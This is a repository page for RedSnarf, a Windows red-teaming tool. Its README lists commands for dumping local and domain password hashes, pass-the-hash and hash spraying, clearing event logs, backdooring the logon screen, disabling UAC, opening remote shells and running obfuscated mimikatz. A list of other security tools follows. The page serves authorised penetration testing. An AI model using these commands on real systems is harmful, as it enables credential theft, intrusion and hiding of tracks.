• Stars
    star
    1,182
  • Rank 39,575 (Top 0.8 %)
  • Language
    PowerShell
  • License
    Apache License 2.0
  • Created about 8 years ago
  • Updated about 4 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

RedSnarf is a pen-testing / red-teaming tool for Windows environments
    ______           .____________                     _____  
\______   \ ____   __| _/   _____/ ____ _____ ________/ ____\ 
 |       _// __ \ / __ |\_____  \ /    \\__  \\_  __ \   __\  
 |    |   \  ___// /_/ |/        \   |  \/ __ \|  | \/|  |    
 |____|_  /\___  >____ /_______  /___|  (____  /__|   |__|    
        \/     \/     \/       \/     \/     \/         
                                  [email protected]
                                                  @redsnarf

GitHub license

RedSnarf is a pen-testing / red-teaming tool by Ed Williams for retrieving hashes and credentials from Windows workstations, servers and domain controllers using OpSec Safe Techniques.

See our YouTube Channel for Videos https://www.youtube.com/channel/UCDGWRxpHo6d8y6qIeMAXnxQ

RedSnarf functionality includes:

β€’ Retrieval of local SAM hashes
β€’ Enumeration of user/s running with elevated system privileges and their corresponding lsa secrets password;
β€’ Retrieval of MS cached credentials;
β€’ Pass-the-hash;
β€’ Quickly identify weak and guessable username/password combinations (default of administrator/Password01);
β€’ The ability to retrieve hashes across a range;
β€’ Hash spraying -
Credsfile will accept a mix of pwdump, fgdump and plain text username and password separated by a space;
β€’ Lsass dump for offline analysis with Mimikatz;
β€’ Dumping of Domain controller hashes using NTDSUtil and retrieval of NTDS.dit for local parsing;
β€’ Dumping of Domain controller hashes using the drsuapi method;
β€’ Retrieval of Scripts and Policies folder from a Domain controller and parsing for 'password' and 'administrator';
β€’ Ability to decrypt cpassword hashes;
β€’ Ability to start a shell on a remote machine;
β€’ The ability to clear the event logs (application, security, setup or system); (Internal Version only)
β€’ Results are saved on a per-host basis for analysis.
β€’ Enable/Disable RDP on a remote machine.
β€’ Change RDP port from 3389 to 443 on a remote machine.
β€’ Enable/Disable NLA on a remote machine.
β€’ Find where users are logged in on remote machines.
β€’ Backdoor Windows Logon Screen
β€’ Enable/Disable UAC on a remote machine.
β€’ Stealth mimikatz added.
β€’ Parsing of domain hashes
β€’ Ability to determine which accounts are enabled/disabled
β€’ Take a screen shot of a Remote logged on Active Users Desktop
β€’ Record Remote logged on Active Users Desktop
β€’ Decrypt Windows CPassword
β€’ Decrypt WinSCP Password
β€’ Get User SPN's
β€’ Retrieve WIFI passwords from remote machines

RedSnarf Usage

Requirements:
Impacket v0.9.16-dev - https://github.com/CoreSecurity/impacket.git
CredDump7 - https://github.com/Neohapsis/creddump7
Lsass Retrieval using procdump - https://technet.microsoft.com/en-us/sysinternals/dd996900.aspx
Netaddr (0.7.12) - pip install netaddr
Termcolor (1.1.0) - pip install termcolor
iconv - used with parsing Mimikatz info locally

Show Help
./redsnarf.py -h
./redsnarf.py --help

Retrieve Local Hashes

Retrieve Local Hashes from a single machine using weak local credentials and clearing the Security event log
./redsnarf.py -H ip=10.0.0.50 -uC security

Retrieve Local Hashes from a single machine using weak local credentials and clearing the application event log
./redsnarf.py -H ip=10.0.0.50 -uC application

Retrieve Local Hashes from a single machine using local administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d .

Retrieve Local Hashes from a single machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com

Retrieve Hashes across a network range using local administrator credentials
./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d .

Retrieve Hashes across a network range using domain administrator credentials
./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com

Retrieve Hashes across a network range using domain administrator credentials
./redsnarf.py -H file=targets.txt -u administrator -p Password01 -d yourdomain.com

Hash Spraying

Spray Hashes across a network range
./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d .

Retrieve Hashes across a network range domain login
./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d yourdomain.com

Quickly Check Credentials
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password1 -d . -cQ y

Quickly Check File containing usernames (-hS) and a generic password (-hP)
./redsnarf.py -H ip=10.0.0.1 -hS /path/to/usernames.txt -hP PasswordToTry -cQ y

Retrieve Domain Hashes

Retrieve Hashes using drsuapi method (Quickest)
This method supports an optional flag of -q y which will query LDAP and output whether accounts are live or disabled ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hI y (-hQ y)

Retrieve Hashes using NTDSUtil
This method supports an optional flag of -q y which will query LDAP and output whether accounts are live or disabled ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hN y (-hQ y)

Golden Ticket Generation
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hT y

Information Gathering

Copy the Policies and Scripts folder from a Domain Controller and parse for password and administrator
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -uP y

Decrypt Cpassword
./redsnarf.py -uG cpassword

Find User - Live
/redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eL user.name

Find User - Offline (searches pre downloaded information)
/redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eO user.name

Display NT AUTHORITY\SYSTEM Tasklist
/redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -eT y

Screenshot the Desktop of a Remote Logged on Active User
/redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -eS y

Misc

Start a Shell on a machine using local administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -uD y

Start a Shell on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uD y

Retrieve a copy of lsass for offline parsing with Mimikatz on a machine using local administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -hL y

Run stealth mimikatz, this option fires up a web-server to serve a powershell script, this is obfusctaed and encoded machine side, data doesnt touch disk - creds are grepped for in an easy to read style and echoed back to screen.
./redsnarf.py -H ip=192.168.198.162 -u administrator -p Password01 -cS y -hR y

Run Custom Command
Example 1
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'net user'

Example 2 - Double Quotes need to be escaped with \
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'dsquery group -name "domain admins" | dsget group -members -expand'

Local Access Token Policy
Creates a batch file lat.bat which you can copy and paste to the remote machine to execute which will modify the registry and either enable or disable Local Access Token Policy settings.
./redsnarf.py -rL y

Wdigest
Enable UseLogonCredential Wdigest registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW e

Disable UseLogonCredential Wdigest registry value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW d

Query UseLogonCredential Wdigest registry value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW q

UAC
Enable UAC registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU e

Disable UAC registry value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU d

Query UAC registry value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU q

Backdoor - Backdoor Windows Screen - Press Left Shift + Left Alt + Print Screen to activate
Enable Backdoor registry value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB e

Disable Backdoor registry value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB d

Query Backdoor registry value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB q

AutoLogon
Enable Windows AutoLogon registry value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA e

Disable Windows AutoLogon registry value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA d

Query Windows AutoLogon registry value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA q

Lock a remote machine user session using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uL y

RDP

Enable RDP on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR e

Disable RDP on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR d

Query RDP status on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR q

Change RDP Port from 3389 to 443 - Change RDP Port to 443 on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT e

Change RDP Port to default of 3389 on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT d

Query RDP Port Value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT q

Enable Multi-RDP with Mimikatz
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uR y

Enable RDP SingleSessionPerUser on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM e

Disable RDP SingleSessionPerUser on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM d

Query RDP SingleSessionPerUser status on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM q

NLA

Enable NLA on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN e

Disable NLA on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN d

Query NLA status on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN q

More Repositories

1

ScoutSuite

Multi-Cloud Security Auditing Tool
Python
6,664
star
2

Scout2

Security auditing tool for AWS environments
Python
1,728
star
3

sobelow

Security-focused static analysis for the Phoenix Framework
Elixir
1,671
star
4

Winpayloads

Undetectable Windows Payload Generation
Python
1,519
star
5

demiguise

HTA encryption tool for RedTeams
Python
1,326
star
6

house

A runtime mobile application analysis toolkit with a Web GUI, powered by Frida, written in Python.
JavaScript
1,321
star
7

PMapper

A tool for quickly evaluating IAM permissions in AWS.
Python
1,279
star
8

featherduster

An automated, modular cryptanalysis tool; i.e., a Weapon of Math Destruction
Python
1,087
star
9

SocksOverRDP

Socks5/4/4a Proxy support for Remote Desktop Protocol / Terminal Services / Citrix / XenApp / XenDesktop
C++
1,067
star
10

singularity

A DNS rebinding attack framework.
JavaScript
1,018
star
11

exploit_mitigations

Knowledge base of exploit mitigations available across numerous operating systems, architectures and applications and versions.
865
star
12

AutoRepeater

Automated HTTP Request Repeating With Burp Suite
Java
742
star
13

fuzzowski

the Network Protocol Fuzzer that we will want to use.
Python
719
star
14

aws-inventory

Discover resources created in an AWS account.
Python
703
star
15

BurpSuiteHTTPSmuggler

A Burp Suite extension to help pentesters to bypass WAFs or test their effectiveness using a number of techniques
Java
654
star
16

Sniffle

A sniffer for Bluetooth 5 and 4.x LE
C
648
star
17

sadcloud

A tool for standing up (and tearing down!) purposefully insecure cloud infrastructure
HCL
636
star
18

TriforceAFL

AFL/QEMU fuzzing with full-system emulation.
C
624
star
19

nmap-nse-vulnerability-scripts

NMAP Vulnerability Scanning Scripts
Lua
618
star
20

LoggerPlusPlus

Advanced Burp Suite Logging Extension
Java
608
star
21

nccfsas

Information released publicly by NCC Group's Full Spectrum Attack Simulation (FSAS) team.
C
598
star
22

freddy

Automatically identify deserialisation issues in Java and .NET applications by using active and passive scans
Java
572
star
23

phantap

Phantom Tap (PhanTap) - an β€˜invisible’ network tap aimed at red teams
C
560
star
24

azucar

Security auditing tool for Azure environments
PowerShell
559
star
25

tracy

A tool designed to assist with finding all sinks and sources of a web application and display these results in a digestible manner.
JavaScript
553
star
26

VCG

VisualCodeGrepper - Code security scanning tool.
Visual Basic .NET
523
star
27

Cyber-Defence

Information released publicly by NCC Group's Cyber Incident Response Team
Python
474
star
28

scrying

A tool for collecting RDP, web and VNC screenshots all in one place
Rust
450
star
29

autochrome

This tool downloads, installs, and configures a shiny new copy of Chromium.
HTML
431
star
30

wssip

Application for capturing, modifying and sending custom WebSocket data from client to server and vice versa.
JavaScript
425
star
31

blackboxprotobuf

Blackbox protobuf is a Burp Suite extension for decoding and modifying arbitrary protobuf messages without the protobuf type definition.
Python
380
star
32

idahunt

idahunt is a framework to analyze binaries with IDA Pro and hunt for things in IDA Pro
Python
376
star
33

autopwn

Specify targets and run sets of tools against them
Python
376
star
34

CrossSiteContentHijacking

Content hijacking proof-of-concept using Flash, PDF and Silverlight
HTML
372
star
35

Solitude

Solitude is a privacy analysis tool that enables anyone to conduct their own privacy investigations. Whether a curious novice or a more advanced researcher, Solitude makes the process of evaluating user privacy within an app accessible for everyone.
CSS
370
star
36

vlan-hopping---frogger

Easy 802.1Q VLAN Hopping
Shell
346
star
37

shocker

A tool to find and exploit servers vulnerable to Shellshock
Python
333
star
38

DriverBuddy

DriverBuddy is an IDA Python script to assist with the reverse engineering of Windows kernel drivers.
Python
331
star
39

WMIcmd

A command shell wrapper using only WMI for Microsoft Windows
C#
319
star
40

acCOMplice

Tools for discovery and abuse of COM hijacks
PowerShell
272
star
41

SusanRTTI

Another RTTI Parsing IDA plugin
Python
269
star
42

umap

The USB host security assessment tool
Python
265
star
43

metasploitavevasion

Metasploit AV Evasion Tool
Shell
257
star
44

keimpx

Check for valid credentials across a network over SMB
Python
256
star
45

umap2

Umap2 is the second revision of NCC Group's python based USB host security assessment tool.
Python
250
star
46

depthcharge

A U-Boot hacking toolkit for security researchers and tinkerers
Python
245
star
47

UPnP-Pentest-Toolkit

UPnP Pentest Toolkit for Windows
C#
244
star
48

GTFOBLookup

Offline command line lookup utility for GTFOBins (https://github.com/GTFOBins/GTFOBins.github.io), LOLBAS (https://github.com/LOLBAS-Project/LOLBAS), WADComs (https://wadcoms.github.io), and HijackLibs (https://hijacklibs.net/).
Python
238
star
49

G-Scout

Google Cloud Platform Security Tool
Python
232
star
50

asatools

Main repository to pull all NCC Group Cisco ASA-related tool projects.
Shell
224
star
51

cisco-SNMP-enumeration

Automated Cisco SNMP Enumeration, Brute Force, Configuration Download and Password Cracking
Shell
216
star
52

thetick

A simple embedded Linux backdoor.
Python
195
star
53

AWS-recipes

A number of Recipes for AWS
Python
195
star
54

kube-auto-analyzer

Kubernetes Auto Analyzer
HTML
192
star
55

TPMGenie

TPM Genie is an I2C bus interposer for discrete Trusted Platform Modules
C++
189
star
56

BinProxy

BinProxy is a proxy for arbitrary TCP connections. You can define custom message formats using the BinData gem.
Ruby
172
star
57

TriforceLinuxSyscallFuzzer

A linux system call fuzzer using TriforceAFL
C
170
star
58

DetectWindowsCopyOnWriteForAPI

Enumerate various traits from Windows processes as an aid to threat hunting
C++
168
star
59

pybeacon

A collection of scripts for dealing with Cobalt Strike beacons in Python
Python
167
star
60

BKScan

BlueKeep scanner supporting NLA
Shell
167
star
61

typofinder

A finder of domain typos showing country of IP address
Python
166
star
62

BLESuite

BLESuite is a Python package that provides an easier way to test Bluetooth Low Energy (BLE) device
Python
165
star
63

SteppingStones

A Red Team Activity Hub
Python
162
star
64

libslub

Python
161
star
65

tcpprox

A small command-line TCP proxy utility written in Python
Python
156
star
66

requests-racer

Small Python library that makes it easy to exploit race conditions in web apps with Requests.
Python
152
star
67

LazyDroid

bash script to facilitate some aspects of an Android application assessment
Shell
151
star
68

chuckle

An automated SMB relay exploitation script.
Shell
151
star
69

whalescan

Whalescan is a vulnerability scanner for Windows containers, which performs several benchmark checks, as well as checking for CVEs/vulnerable packages on the container
Python
143
star
70

gitpwnd

GitPwnd is a network penetration tool that lets you use a git repo for command and control of compromised machines
Python
139
star
71

Carnivore

Tool for assessing on-premises Microsoft servers authentication such as ADFS, Skype, Exchange, and RDWeb
C#
139
star
72

CollaboratorPlusPlus

Java
139
star
73

Change-Lockscreen

Offensive tool to trigger network authentications as SYSTEM
C#
138
star
74

Decoder-Improved

Improved decoder for Burp Suite
Java
134
star
75

OutlookLeakTest

The Outlook HTML Leak Test Project
C#
131
star
76

Wubes

Qubes containerization on Windows
Python
130
star
77

port-scan-automation

Automate NMAP Scans and Generate Custom Nessus Policies Automatically
Shell
128
star
78

Hodor

Hodor! Fuzzer..
Python
126
star
79

Zulu

The Zulu fuzzer
Python
125
star
80

WinShareEnum

Windows Share Enumerator
C#
121
star
81

memscan

Searches for strings, regex, credit card numbers of magnetic stripe card tracks in a Windows process's memory space
C#
120
star
82

ebpf

eBPF - extended Berkeley Packet Filter tooling
Python
120
star
83

argumentinjectionhammer

A Burp Extension designed to identify argument injection vulnerabilities.
Python
118
star
84

cq

Python
115
star
85

DroppedConnection

Python
113
star
86

SCOMDecrypt

SCOMDecrypt is a tool to decrypt stored RunAs credentials from SCOM servers
C#
112
star
87

GOATCasino

This is an intentionally vulnerable smart contract truffle deployment aimed at allowing those interested in smart contract security to exploit a wide variety of issues in a safe environment.
JavaScript
112
star
88

OneLogicalMyth_Shell

A HTA shell to assist with breakout assessments.
HTML
112
star
89

BLE-Replay

BLE-Replay is a Bluetooth Low Energy (BLE) peripheral assessment tool
Python
110
star
90

cloud_ip_ranges

Identify IP addresses owned by public cloud providers
Python
109
star
91

web3-decoder

Python
108
star
92

ccs

Python
107
star
93

WindowsDACLEnumProject

A collection of tools to enumerate and analyse Windows DACLs
C++
105
star
94

raccoon

Salesforce object access auditor
Python
104
star
95

DIBF

Windows NT ioctl bruteforcer and modular fuzzer
C++
103
star
96

go-pillage-registries

Pentester-focused Docker registry tool to enumerate and pull images
Go
103
star
97

DatajackProxy

Datajack Proxy allows you to intercept TLS traffic in native x86 applications across platforms
JavaScript
100
star
98

pcap-burp

Pcap importer for Burp
Java
100
star
99

jwt-reauth

Java
100
star
100

Berserko

Burp Suite extension to perform Kerberos authentication
Java
99
star